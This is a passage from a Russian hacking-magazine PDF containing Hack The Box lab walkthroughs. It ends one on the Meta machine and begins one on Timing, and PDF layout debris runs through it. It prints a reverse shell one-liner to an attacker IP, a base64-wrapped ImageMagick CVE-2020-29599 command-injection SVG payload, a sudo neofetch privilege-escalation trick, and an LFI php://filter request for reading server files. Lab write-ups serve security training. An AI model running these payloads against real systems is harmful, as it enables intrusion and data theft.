файл /usr/local/bin/convert_images.sh. Это скрипт на Bash — прос ­

мотрим его содержимое­ .

Содер­ жимое­ файла­ convert_images.sh

В скрипте­ изображения­ конверти­ руют­ ся­ из обнаружен­ ного­ ранее каталога­ с помощью утилиты­ mogrify. Определим­ , какая версия­ утилиты­ использует­ ся­ .

mogrify -version

Определе­ ние­ версии­ mogrify

Так как мы знаем­ версию­ продук­ та­ , можно­ поискать­ готовые экспло­ иты­ .

Поиск­ экспло­ итов­ в Google

Вторая­ ссылка­ из Google указыва­ ­ет на уязвимость­ CVE-2020-29599. ImageMagick версии­ до 6.9.11-40 и с 7.x до 7.0.10-40 неправиль­ ­но обрабаты­ ­

вает параметр authenticate, который позволя­ ­ет установить­ пароль для защищенных­ паролем файлов­ PDF. Пароль, который устанав­ ­лива­ет поль ­ зователь, не обрабаты­ ­вает­ся должным­ образом­ , что открывает­ возможность­ инъекции­ команды­ терминала­ через coders/pdf.c.

 

 

 

Детали­

уязвимос­

ти­

 

 

 

 

 

 

 

Первым­

делом откроем­ еще один листенер­

(rlwrap -cAr nc -lvp 5432)

и закодируем­

реверс шелл, что позволит­

выполнить­

его в конвей­ ере­ :

echo '/bin/sh -i >& /dev/tcp/10.10.14.47/5432 0>&1'

Кодиро­ вание­ нагрузки­

Теперь­ используем­ следующий­ шаблон­ для эксплу­ ата­ ции­ уязвимос­ ти­ . Коман ­ да должна­ быть вставлена­ в параметр authenticate тега image, а название­ самого файла­ — в параметр xlink:href тега image. Файл expl.svg копиру ­

ем в каталог /var/www/dev01.artcorp.htb/convert_images/ и ожидаем­ подклю­ чения­ .

<image authenticate='ff" `echo $(echo

L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ny81NDMyIDA+JjEK |

base64 -d | /bin/bash )> /dev/shm/0wned`;"'>

<read filename="pdf:/etc/passwd"/>

<get width="base-width" height="base-height" />

<resize geometry="400x400" />

<write filename="test.png" />

<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg"

xmlns:xlink="http://www.w3.org/1999/xlink">

<image xlink:href="msl:expl.svg" height="100" width="100"/>

</svg>

</image>

Приват­ ный­ ключ пользовате­ ля­

После­ бэкконнек­ та­ получим приват­ ный­ ключ пользовате­ ля­ и подклю­ чим­ ся­ по SSH.

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Базовую­ разведку­ на хосте­ мы уже проводи­ ­ли и такие вещи, как приложе­ ­ния с выставлен­ ­ным битом SUID, прослушива­ ­емые для локального­ хоста­ порты­ и запускаемые­ приложе­ ния­ , просматри­ вали­ . Осталась­ только­ одна вещь, которая может изменить­ ся­ вместе­ с изменени­ ем­ рабочего­ контек­ ста­ , — нас ­

тройки­ sudoers.

sudo -l

Настрой­ ки­ судоера­

Мы можем без ввода­ пароля выполнить­ команду­ /usr/bin/neofetch "" от имени­ пользовате­ ­ля root. Neofetch — это очень простая­ в использовании­

и кросс платформен­ ­ная утилита­ , которая позволя­ ­ет отображать­ информацию­ о системе­ в терминале­ .

Запуск­ приложе­ ния­ neofetch

Первым­ делом я решил поискать­ его в базе GTFOBins — это список­ дво ­ ичных файлов­ Unix, которые можно­ использовать­ для обхода­ локальных­ огра ­ ничений­ безопасности­ в неправиль­ но­ настро­ енных­ системах­ . Там и находим способ­ эксплу­ ата­ ции­ приложе­ ния­ под судоером­ .

Техника­ эксплу­ ата­ ции­ sudo neofetch

Смысл техники­ в том, чтобы­ записать команду­ терминала­ в конфиг­ , который нужно­ передать neofetch. Но в нашем случае­ судоер­ выполнит­ жестко­ указан­ ­ ную команду­ . Тогда­ попробу­ ­ем найти­ конфиг­ по умолчанию­ $HOME/.config/ neofetch/config.conf и записать команду­ в него.

Содер­ жимое­ файла­ confg.conf

Теперь­ указыва­ ­ем переменную­ среды­ XDG_CONFIG_HOME, чтобы­ путь к кон ­ фигу существо­ ­вал в контек­ ­сте судоера­ .

export XDG_CONFIG_HOME="$HOME/.config"

Теперь­ при выполнении­ приложе­ ­ния выполнится­ и наша команда­ , и мы получим командную­ оболоч­ ­ку в высокопривиле­ ­гиро­ван­ном контек­ ­сте.

Флаг рута

Флаг рута — в наших руках, машина захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПЕНТЕСТИМ ВЕБ-СЕРВЕР НА PHP

Сегод­ ня­

мы

 

с тобой

пройдем­

путь

от базового­ сканиро­

вания­

сайта­ до эксплу­ ­

атации­ уязвимос­

ти­ типа LFI и загрузки­

шел ­

ла. Для захвата­

рута нам понадобит­ ся­ найти­

уязвимость­

в

приложе­

нии­

на

Java.

А упражняться­

мы

будем

на средней­

по сложности­

 

машине Timing

с площад­ ки­

Hack The Box.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RalfHacker hackerralf8@gmail.com

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.135 timing.htb0

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ .

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Нашли­ два открытых­ порта­ :

22 — служба­ OpenSSH 7.6p1;

80 — веб сервер­ Apache 2.4.29.

На SSH нам ловить нечего, пропус­ каем­ его.

Посколь­ ку­ вначале­ у нас нет учетных­ данных­ , нет и смысла­ изучать­ службы­ , которые всегда­ требуют­ авториза­ ции­ (например­ , SSH). Единствен­ ное­ , что мы можем делать здесь, — это перебирать­ пароли брутфорсом­ , но машины с HTB почти­ всегда­ можно­ пройти­ по другому­ . В жизни­ таких вариантов­ может не быть, к тому же есть шансы­ подобрать­ пароль или получить его при помощи социаль­ ной­ инженерии­ .

Посмотрим­ , что нам покажет веб сервер­ . При обращении­ к нему происхо­ дит­ редирект на страницу­ /login.php, где нас встречает­ форма­ авториза­ ции­ .

Форма­ авториза­ ции­

Понят­ ­но, что сайт не одностра­ ­нич­ный, поэтому­ попробу­ ­ем найти­ скрытые­ страницы­ . Так как первая­ страница­ была в формате­ PHP, остальные­ будем перебирать­ с таким же расширени­ ­ем. Я для этого­ восполь­ ­зуюсь сканером­

ffuf.

Одно­ из первых­ действий­ при тестирова­ нии­ безопасности­ веб приложе­ ­ ния — это сканиро­ вание­ методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информацию­ и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch и DIRB.

Я предпочитаю­ легкий­ и очень быстрый­ fuf. При запуске­ указыва­ ем­ сле ­ дующие параметры­ :

-w — словарь­ (я использую­ словари­ из набора SecLists);

-t — количество­ потоков;

-u — URL;

-fc — исключить­ из результата­ ответы­ с кодом 403.

Запус­ каем­ его с нужными­ параметрами­ :

ffuf -u http://timing.htb/FUZZ -t 256 -w php_files_common.txt0

Резуль­ тат­ сканиро­ вания­ файлов­ PHP

Нашли­ много­ файлов­ , теперь просканиру­ ем­ и скрытые­ каталоги­ .

ffuf -u http://timing.htb/FUZZ -t 256 -w directory_2.3_medium_

lowercase.txt0

Резуль­ тат­ сканиро­ вания­ скрытых­ каталогов­

В итоге­ находим каталоги­ для хранения­ скриптов­ и изображений­ . Больше­ нам ничего не доступно­ . Сканиро­ вание­ файлов­ бэкапов и поддоменов­ ничего не дало. Но мы еще не поискали­ параметры­ ! Для сканиро­ вания­ логично­ выб ­ рать страницу­ image.php, которая предположи­ тель­ но­ должна­ возвра­ щать­ изображения­ . Так как мы не знаем­ , что будет передано­ в качестве­ значения­ параметра­ , попробу­ ем­ передать само название­ страницы­ в надежде­ получить какую нибудь ошибку­ .

ffuf -u 'http://timing.htb/image.php?FUZZ=../image.php' -t 256 -w

parameters.txt -fs 00

Резуль­ тат­ сканиро­ вания­ параметра­

Мы нашли­ один параметр — img. То есть мы можем запросить­ файл с кар ­ тинкой по его названию­ . Попробу­ ем­ таким способом­ утащить­ какой нибудь системный­ файл, задав относитель­ ный­ путь.

Сообще­ ние­ , что обнаруже­ на­ атака­

Нас поймали­ за руку!

ТОЧКА ВХОДА

Здесь, судя по всему­ , используют­ ­ся какие то фильтры­ , которые мешают­ нам читать любой файл. Я попробовал­ разные­ варианты­ оберток­ для параметра­ и обнаружил­ , что срабаты­ ­вает запрос­ вот такого вида:

/image.php?img=php://filter/convert.base64-encode/resource=index.php0

Local fle inclusion (LFI) — техника­ , которая использует­ ся­ для получения­ дос тупа к файлам­ в системе­ через веб сервер­ . Чтобы­ сервер­ отобразил­ файл, а не попытался­ его выполнить­ , ему нужно­ передать «обертку­ » — команды­ , которые закодируют­ файл. После­ его получения­ останет­ ся­ лишь раскодиро­ ­ вать его обратно. Существу­ ет­ множес­ тво­ готовых­ оберток­ , которые ты можешь применять­ при пентесте­ .

Содер­ жимое­

этой страницы­

, полученной­

в ответ, будет закодирова­

но­

в Base64. Декодировать­

можно­ прямо­ в Burp, нажав Ctrl-Shift-B.

 

Получе­ ние­ кода страницы­ index.php

Так как мы можем получить код любой страницы­ , идем по порядку­ и заг ­ лядываем­ в исходный код страницы­ login.php.

Исходный­ код login.php

В нем ничего интерес­ ного­ нет, кроме­ подклю­ чения­ файла­ db_conn.php (строка­ 10). Конечно­ же, просмотрим­ и его. Здесь мы находим учетку­ для под ­ ключения­ к базе данных­ .

Исходный­ код db_conn.php

Пароль­ пока ни к чему не подошел, поэтому­ копаем­ дальше­ . Перейдем­ к фай ­ лам, о которых мы уже знаем­ . Начнем­ с upload.php.

Исходный­ код upload.php

В самом начале подклю­ ­чает­ся файл admin_auth_check.php. Затем задаются­ необходимые­ параметры­ для загружен­ ­ного файла­ , в том числе­ и file_name. Имя файла­ создает­ ­ся по следующе­ ­му алгорит­ ­му: берется­ строка­ '$file_hash', затем добавляет­ ­ся текущее время­ (результат­ выполнения­ функции­ time()), все это конверти­ ­рует­ся в хеш MD5, а дальше­ добавляет­ ­ся знак нижнего­ подчерки­ ­вания и имя файла­ , которое использовалось­ при заг ­ рузке. При этом файл должен­ иметь расширение­ jpg. А в файле­ admin_auth_check.php только­ сравнива­ ­ется роль пользовате­ ­ля.

Если­ бы $file_hash кто то по ошибке­ не обернул­ в кавычки­ , то подста­ ­ вилось бы значение­ переменной­ , полученное­ от PHP-функции­ uniqid(). Раз ­ гадать уникаль­ ­ный идентифика­ ­тор у нас бы не вышло­ , а без него единствен­ ­ ной преградой­ будет вывод функции­ time().

Исходный­ код admin_auth_check.php

Впрочем­ , пока что здесь больше­ ничего не сделать­ , и придет­ ­ся брутить­ фор ­ му авториза­ ­ции. Для начала найдем­ имена­ пользовате­ ­лей, к примеру­ в файле­

/etc/passwd.

Содер­ жимое­ файла­ /etc/passwd

Но при подборе­ пароля сразу­ попробу­ ем­ использовать­ имя пользовате­ ля­ в качестве­ пароля, и это дает нам доступ­ .

Панель­ авторизо­ ван­ ного­ пользовате­ ля­

Нам открывает­ ся­ новая функция­ — изменение­ профиля­ .

Форма­ изменения­ профиля­

При отправке­ данных­ формы­ выясним­ , куда они шлются­ , а потом получим код этой страницы­ , чтобы­ просмотреть­ , как обрабаты­ вают­ ся­ данные­ .

История­ запросов­ в Burp

Исходный­ код update.php

Продолжение статьи0

Соседние файлы в папке журнал хакер